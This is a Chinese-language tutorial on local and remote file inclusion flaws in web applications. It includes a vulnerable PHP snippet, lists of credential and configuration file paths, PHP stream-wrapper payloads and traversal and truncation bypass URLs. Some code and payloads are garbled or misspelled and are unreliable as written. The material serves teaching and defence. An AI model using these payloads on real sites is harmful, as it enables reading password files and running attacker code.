文件包含
- Web应用实现了动态包含
- 动态包含的文件路径参数,客户端可控
漏洞成因
相关函数
-
PHP
include() 文件包含失败时,会产生警告,脚本会继续运行 include_once() 与 include()功能相同,文件只会被包含一次 require() 文件包含失败时,会产生错误,直接结束脚本执行 require_once() 与 require()功能相同,文件只会被包含一次 fopen() readfile() <?php spath=$_GET['path ']; inc lude_once("/inc. php"); echo <h1>This is include_ once. php! </h1>; include_once $path;
-
JSP/Servlet
java.io.file( ) java.io.filereader( )
-
ASP
include file include virtual
漏洞分类
本地文件包含(LFI)
-
本地文件包含就是可以读取和打开本地文件
php.ini: allow_url_fopen=On/Off
远程文件包含(RFI)
-
远程文件包含就是可以远程加载文件
php.ini: allow_url_include=On/Off
漏洞危害
- 目录遍历
- 访问任意文件
漏洞挖掘
- 代码审计
- 查看url中是否有访问文件的参数
漏洞利用
常见的敏感信息路径
-
Windows系统
c:\boot.ini // 查看系统版本 c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件 c:\windows\repair\sam // 存储Windows系统初次安装的密码 c:\Program Files\mysql\my.ini // MySQL配置 c:\Program Files\mysql\data\mysql\user.MYD // MySQL root密码 c:\windows\php.ini // php 配置信息
-
Linux/Unix系统
/etc/passwd // 账户信息 /etc/shadow // 账户密码文件 /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件 /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置 /usr/local/app/php5/lib/php.ini // PHP相关配置 /etc/httpd/conf/httpd.conf // Apache配置文件 /etc/my.conf // mysql 配置文件
使用各种协议流
-
PHP
http/https/file/ftp file://D://././readme.txt allow_url_On/Off php://filter/read=convert.base64-encode/resorce=./readme.txt allow_url_On/Off php://input[post data<?php phpinfo();?>] allow_url_On zip://D://file.zip%23readme.txt allow_url_On/Off data://test/plain.<?php phpinfo();?> allow_url_On
-
ASP
http/https/file/ftp/rtsp/smb
-
JAVA
http/https/file/ftp/rtsp/smb
-
curl
http/https/dict/file/ftp/imap/pop3/rtsp/smb/smtp/telnet
-
perl
http/https/gopher/file/ftp/imap/pop3/rtsp/smb
配合文件上传漏洞
漏洞防御
-
固定文件后缀,设置并检测访问文件的后缀
-
固定文件,设置允许访问的文件
-
防护软件
防御绕过
本地文件包含
-
%00截断
利用条件: php版本<5.3.4 magic_quotes_gpc=Off 利用: http://www.ctfs-wiki.com/FI/FI.php?filename=../../../../../../../boot.ini%00
-
路径长度截断
原理: Windows下目录最大长度为256字节,超出的部分会被丢弃 Linux下目录最大长度为4096字节,超出的部分会被丢弃 利用: http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
-
点号截断
原理: 条件与路径长度截断相同 利用: http://192.168.159.128/include/include.php?filename=test.txt.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
远程文件包含
-
问号绕过
http://http://192.168.159.128/include/include.php?filename=http://192.168.91.133/readme.txt?
-
#号绕过
http://192.168.159.128/include/include.php?filename=http://192.168.91.133/readme.txt%23
-
空格绕过
http://192.168.159.128/include/include.php?filename=http://192.168.91.133/readme.txt%20